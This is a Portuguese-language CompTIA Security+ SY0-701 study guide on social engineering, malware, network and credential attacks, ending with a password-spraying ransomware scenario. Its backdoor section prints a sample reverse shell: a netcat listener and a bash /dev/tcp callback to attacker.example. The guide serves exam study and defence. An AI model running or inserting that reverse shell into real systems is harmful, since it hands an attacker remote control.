CompTIA SY0-701: Ameaças, Ataques e Vulnerabilidades — Guia de estudos

By Laurynas Brazys · 20 July 2026 · #comptia #sy0-701 #certification #exam-prep #study-guide

Faz parte do CompTIA Security+ SY0-701 — Guia de estudos. Pratique com respostas verificadas no centro de exames da CompTIA, ou faça testes cronometrados no ExamRoll.io.

O cenário de ameaças moderno é definido por adversários que combinam exploração técnica com manipulação humana, encadeiam fraquezas de baixa severidade em comprometimentos de alto impacto e disfarçam suas atividades em meio a processos de negócios legítimos. Entender as ameaças começa por entender a intenção, a capacidade e o vetor — e por se recusar a aceitar o sintoma superficial como a explicação completa.

Engenharia Social e Variações de Phishing

A engenharia social explora confiança, urgência, autoridade ou curiosidade, em vez de falhas de software. O phishing tradicional lança uma rede ampla por e-mail, enviando iscas genéricas, como notificações de envio falsas ou solicitações de redefinição de senha, para milhares de destinatários. O Spear phishing restringe o foco, usando reconhecimento a partir do LinkedIn, sites corporativos ou vazamentos de dados (breach dumps) para elaborar mensagens personalizadas para um indivíduo ou departamento específico. O Whaling tem como alvo executivos — o CFO que recebe uma mensagem elaborada para parecer que vem de uma consultoria jurídica externa é o alvo clássico — porque sua autoridade permite fraudes de maior impacto.

Variações de canal estendem a mesma manipulação para outras mídias. O Vishing (voice phishing) usa chamadas telefônicas, muitas vezes com um identificador de chamadas falsificado (spoofed) e um pretexto, como se passar pelo help desk de TI para extrair códigos de MFA. O Smishing usa SMS, frequentemente aproveitando URLs encurtadas e iscas específicas para dispositivos móveis (“Seu pacote não pôde ser entregue — reagende aqui”). Como os navegadores móveis truncam URLs e ocultam detalhes do certificado, o smishing tem uma taxa de sucesso desproporcionalmente alta.

O Business Email Compromise (BEC) merece atenção especial porque, normalmente, não envolve nenhum malware. Um invasor que comprometeu uma caixa de e-mail legítima ou falsificou um domínio parecido (contas@forneced0r-corp.com em vez de contas@fornecedor-corp.com) se insere em uma conversa de e-mail real sobre faturas e redireciona uma transferência bancária. Como o conteúdo do e-mail é contextualmente preciso e não há anexos, soluções de anti-malware de gateway e sandboxing de URL oferecem pouca proteção. O IC3 do FBI relatou perdas por BEC que excederam US$ 2,9 bilhões em um único ano, tornando-a a categoria de crime cibernético de maior valor financeiro, com uma ampla margem.

Uma armadilha comum é superinterpretar sintomas que parecem benignos. Quando um usuário envia credenciais para um site de phishing e recebe um erro de “página não encontrada”, o incidente não está resolvido — é uma coleta de credenciais concluída, na qual o invasor redirecionou a vítima após a captura. A ausência de uma página de erro óbvia é uma característica do ataque, não uma evidência de falha.

Tipos de Malware

Malware não é algo monolítico. O Ransomware criptografa dados e exige pagamento, e variantes modernas como Ryuk, Conti e LockBit também exfiltram os dados primeiro para usar uma tática de dupla extorsão. Um indicador revelador é uma mudança em massa na extensão dos arquivos — arquivos renomeados para .ryk, .locked ou uma string aleatória — juntamente com notas de resgate chamadas README.txt ou COMO_DESCRIPTOGRAFAR.html em todos os diretórios.

Os Rootkits operam em um nível muito mais profundo, interceptando (hooking) estruturas do kernel, tabelas de chamadas de sistema ou firmware (bootkits, implantes UEFI) para ocultar processos, arquivos e conexões de rede do próprio sistema operacional. Como as ferramentas padrão consultam o kernel que o rootkit controla, a saída de tasklist ou ps não é confiável; a detecção geralmente requer a criação de uma imagem forense offline ou a comparação com uma linha de base sabidamente íntegra (known-good baseline) por meio de ferramentas como chkrootkit ou análise de memória com o Volatility.

Os Backdoors fornecem acesso não autorizado persistente, muitas vezes instalados após o comprometimento inicial. Eles podem assumir a forma de uma tarefa agendada que se comunica (beacons out) com um servidor de comando e controle, uma credencial codificada permanentemente (hardcoded) inserida em uma aplicação ou um serviço de escuta (listening) em uma porta obscura. Reverse shells usando ferramentas como Netcat ou Meterpreter são típicos:

# Attacker listener
nc -lvnp 4444

# Victim callback (dropped by malware)
bash -i >& /dev/tcp/attacker.example/4444 0>&1

A armadilha aqui é a visão de túnel na triagem. Um alerta rotulado como “malware detectado” que é rapidamente colocado em quarentena não significa que o incidente terminou — o dropper inicial pode já ter estabelecido um backdoor ou instalado um rootkit que o agente do endpoint não consegue ver.

Ataques de Rede

Ataques de Negação de Serviço Distribuída (DDoS) visam a disponibilidade. Ataques volumétricos — como UDP floods e ICMP floods — consomem largura de banda bruta. Ataques de reflexão/amplificação abusam de serviços de terceiros que respondem com payloads maiores do que a solicitação; uma consulta DNS de 60 bytes com um endereço de origem falsificado (spoofed) pode retornar uma resposta de 3.000 bytes, e a amplificação por NTP monlist ou memcached pode atingir proporções acima de 50.000×. Quando os serviços web públicos permanecem “no ar” no servidor, mas estão inacessíveis pela internet, e os logs de rede mostram um pico de tráfego, a resposta é quase sempre um DDoS saturando os links upstream ou as tabelas de estado — e não um bug na aplicação.

Ataques On-path (anteriormente conhecidos como “man-in-the-middle”) posicionam o invasor entre duas partes que estão se comunicando. Em uma rede local, o ARP poisoning é o mecanismo usual: o invasor envia respostas ARP não solicitadas, alegando ser o dono do IP do gateway, de modo que o tráfego da vítima é silenciosamente roteado através da máquina do invasor. Ferramentas como ettercap ou arpspoof automatizam isso, e depois o invasor pode remover a criptografia TLS com sslstrip ou injetar conteúdo.

O Typosquatting consiste em registrar domínios que imitam domínios legítimos (goggle.com, paypa1.com) para capturar URLs digitadas incorretamente ou para servir como uma infraestrutura convincente para phishing e BEC.

Ataques de Credenciais

Em vez de explorar código, os ataques de credenciais exploram a autenticação fraca. O Brute force (força bruta) tenta todas as senhas possíveis contra uma única conta e é um método ruidoso, acionando políticas de bloqueio (lockout). O Password spraying (pulverização de senhas) inverte o modelo: tenta-se uma ou duas senhas muito comuns (Winter2024!, Password123) contra milhares de contas, permanecendo abaixo do limite de bloqueio para qualquer conta individual. Isso é excepcionalmente eficaz contra organizações que não utilizam MFA em seus provedores de identidade na nuvem.

O Credential stuffing reutiliza pares de nome de usuário/senha coletados de vazamentos anteriores, explorando o reuso de senhas entre diferentes serviços. Como as credenciais são válidas em pelo menos um serviço, elas contornam os controles básicos de autenticação. O vazamento da Okta em 2022 começou com um ataque de credential stuffing contra a conta de um prestador de serviços de suporte — demonstrando que até mesmo os provedores de identidade não estão imunes quando o MFA não é aplicado em todos os caminhos de acesso privilegiado.

Ataques de Pass-the-hash e pass-the-ticket roubam material de autenticação da memória em vez de quebrar senhas. Em sistemas Windows, hashes NTLM armazenados na memória do LSASS podem ser extraídos com o Mimikatz e reutilizados para autenticar em outros sistemas sem conhecer a senha em texto plano. Da mesma forma, os ticket-granting tickets (TGTs) do Kerberos podem ser roubados e reutilizados. As mitigações incluem o Credential Guard (que isola o LSASS em um enclave de segurança baseado em virtualização), a associação ao grupo de segurança Protected Users e a desativação do NTLM onde o Kerberos estiver disponível.

Cenário Prático: Ransomware via Password Spraying

Uma empresa de logística com 2.400 funcionários não havia imposto o uso de MFA em seu tenant do Microsoft 365. Um invasor realizou um ataque de password spraying ao longo de três dias, testando a senha Summer2023! contra todos os endereços de e-mail conhecidos, coletados do LinkedIn. Quarenta e uma contas corresponderam. O invasor usou uma conta comprometida — de um gerente regional — para acessar a VPN da empresa, que aceitava credenciais do M365. A partir da VPN, o invasor passou duas semanas realizando reconhecimento interno, identificando servidores de backup e controladores de domínio. Em uma noite de sexta-feira, o ransomware LockBit foi detonado em 340 servidores. A recuperação levou 19 dias e custou aproximadamente US$ 4,1 milhões, incluindo o resgate, a perícia forense e a receita perdida. Toda a cadeia de ataque foi possibilitada por um único controle ausente: o MFA no tenant do M365. O password spraying é detectável — uma regra no SIEM que correlacionasse falhas de autenticação em muitas contas a partir de um único IP o teria sinalizado no primeiro dia.

← Gerenciamento de Identidade e Acesso · Todos os domínios · Segurança e Arquitetura de Rede →

Pratique estas questões → · Prática cronometrada no ExamRoll.io →